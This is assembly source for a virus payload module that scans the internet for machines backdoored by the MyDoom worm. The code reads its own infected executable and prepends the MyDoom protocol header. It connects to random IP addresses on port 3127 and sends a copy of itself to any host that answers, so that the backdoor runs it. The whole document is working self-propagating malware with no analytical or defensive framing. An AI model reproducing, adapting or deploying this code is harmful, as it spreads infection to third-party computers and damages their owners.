;%%%5 0 DOOM Internet scan for Worm.Mydoom

;###LoadLibraryA
;###CreateThread
;###GetModuleFileNameA
;###GetFileSize
;###ReadFile
;###GlobalAlloc
;###GetTickCount
;###Sleep
;###CreateFileA
;###CloseHandle

;scan for machines infected by mydoom worm, and upload/run a copy of virus

payload:
	pushad

;get dll

	X_PUSH eax,WS2_32.DLL~
	push esp
	call delta
  	call [ebp+_LoadLibraryA]
  	X_POP

;get the api

	call @@apiimport
	API WSAStartup
	API socket
	API connect
	API send
	dd -1
  @@apiimport:
  	pop esi
	call get_apis

;init internet

	sub esp,200h
	push esp
	push 1
	call [ebp+_WSAStartup]

;get the name of a infected file(current one)

	mov esi,esp
	push 200h
	push esi
	push 0
	call [ebp+_GetModuleFileNameA]

;open infected file

        push 0
        push FILE_ATTRIBUTE_NORMAL
        push OPEN_EXISTING
        push 0
        push FILE_SHARE_READ
        push GENERIC_READ
        push esi
        call [ebp+_CreateFileA]
        mov ebx,eax
        inc eax
        jnz @@open_ok
	sub esp,4*4
	jmp @@exit
  @@open_ok:

	push 0
	push ebx
	call [ebp+_GetFileSize]
	xchg eax,esi

;alloc memory for infected file

	push 0
	mov ecx,esp
	push 0
	push ecx
	push esi

	add esi,5
	push esi
	push 40h
	call [ebp+_GlobalAlloc]
	xchg eax,edi

;build mydoom protocol header

	mov eax,09e3c1385h
	stosd
	mov al,0a2h
	stosb

;read infected file

	push edi
	push ebx
	call [ebp+_ReadFile]

	push ebx
	call [ebp+_CloseHandle]

;setup paramters for thread

	sub edi,5
	push edi
	push esi
	mov ebx,esp

;create a new thread

	sub eax,eax
	push eax
	push esp
	push eax
	push ebx
	call @@scanner
	jmp inet_thread
  @@scanner:
	push eax
	push eax
	call [ebp+_CreateThread]

;give the new thread time to get params

	push 1000
	call [ebp+_Sleep]

;free mem(stack) and exit

  @@exit:
	add esp,200h+4*4
	popad
	ret


;scan internet in search for machines infected by mydoom

inet_thread:
	mov esi,[esp.Arg1]
	mov edi,[esi]
	lodsd
	mov esi,[esi]

;create socket

	push 0
	push 1
	push 2
	call delta
	call [ebp+_socket]
	xchg ebx,eax
  @@next_ip:

;generate a random IP
  	call [ebp+_GetTickCount]

  	push 0
  	push 0
  	push eax
  	push 370C0002h			;port 3127
  	mov eax,esp

;found a mydoom infected machine?

	push 16
	push eax
	push ebx
  	call [ebp+_connect]
  	add esp,4*4
  	test eax,eax
	jnz @@continue

;yeah! infect it!

	push 0
	push edi
	push esi
	push ebx
	call [ebp+_send]

  @@continue:
	push 1000
	call [ebp+_Sleep]
	jmp @@next_ip